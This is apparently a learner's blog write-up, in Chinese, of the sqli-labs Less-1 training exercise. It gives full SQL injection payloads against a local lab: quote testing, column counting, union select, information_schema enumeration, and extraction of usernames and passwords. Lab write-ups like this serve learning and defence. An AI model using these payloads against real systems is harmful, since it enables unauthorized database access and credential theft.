1. sqli-labs学习 less-01
0x00 过程
- 添加id参数,回写正常
payload:http://127.0.0.1/sqli_labs/Less-1/?id=1
-
寻找注入点
2.1 添加1'进行测试

刚开始没明白图中引号的对应关系,应该是' '1'' limit 0,1 ',此处固定两边是单引号,中间为错误位置的语句。可自行在观察如下语句报错信息,应该很快就明白了。
select * from users where id='1'' limit 0,1; select * from users where id="1'" limit 0,1; -
注入
由第二步可以确认id是由单引号进行包含,使用如下payload 确定是否存在注入点
http://127.0.0.1/sqli_labs/Less-1/?id=1' and 1=1 --+ http://127.0.0.1/sqli_labs/Less-1/?id=1' and 1=2 --+当第一个payload 正常显示,第二个无显示时,确定注入存在。
3.1 联合注入
观察页面发现不同的id回显不同,emm 目前感觉这种比较好操作
尝试过程
-
payload:
http://127.0.0.1/sqli_labs/Less-1/?id=1' group by 4 --+确定列数,最终列数为3. -
payload
http://127.0.0.1/sqli_labs/Less-1/?id=-1' union select 1,2,3 --+确定列出现的位置。

-
获取数据库信息,名,列名,数据
数据库名 http://127.0.0.1/sqli_labs/Less-1/?id=-1' union select 1,database(),user() --+ 表名 由上可得到数据库中的几个表 http://127.0.0.1/sqli_labs/Less-1/?id=-1' union select 1,database(),user() --+ 字段名 由上可得到users表的字段名 http://127.0.0.1/sqli_labs/Less-1/?id=-1' union select 1,database(),group_concat(column_name) from information_schema.columns where table_name='users' --+ 获取数据 字段名,表名都有了 http://127.0.0.1/sqli_labs/Less-1/?id=-1' union select 1,group_concat(username),group_concat(password) from users --+ -
0x01 思考
- 注入点:在这个题中,已经明确给出了注入点为id参数。但是实际工作中面对大量参数如何快速找到有可能存在的注入点呢?emm 一个高效可靠的工具是个很好的选择,但是我现在不知道。
- 注入漏洞是否存在,这个其实同上。但是如何判断这个点存在有效的注入漏洞?刚开始因为瞎搞,经常会被mysql的自动类型转换搞蒙。我没找到特别合适的博客,下次自己写一个。

浙公网安备 33010602011771号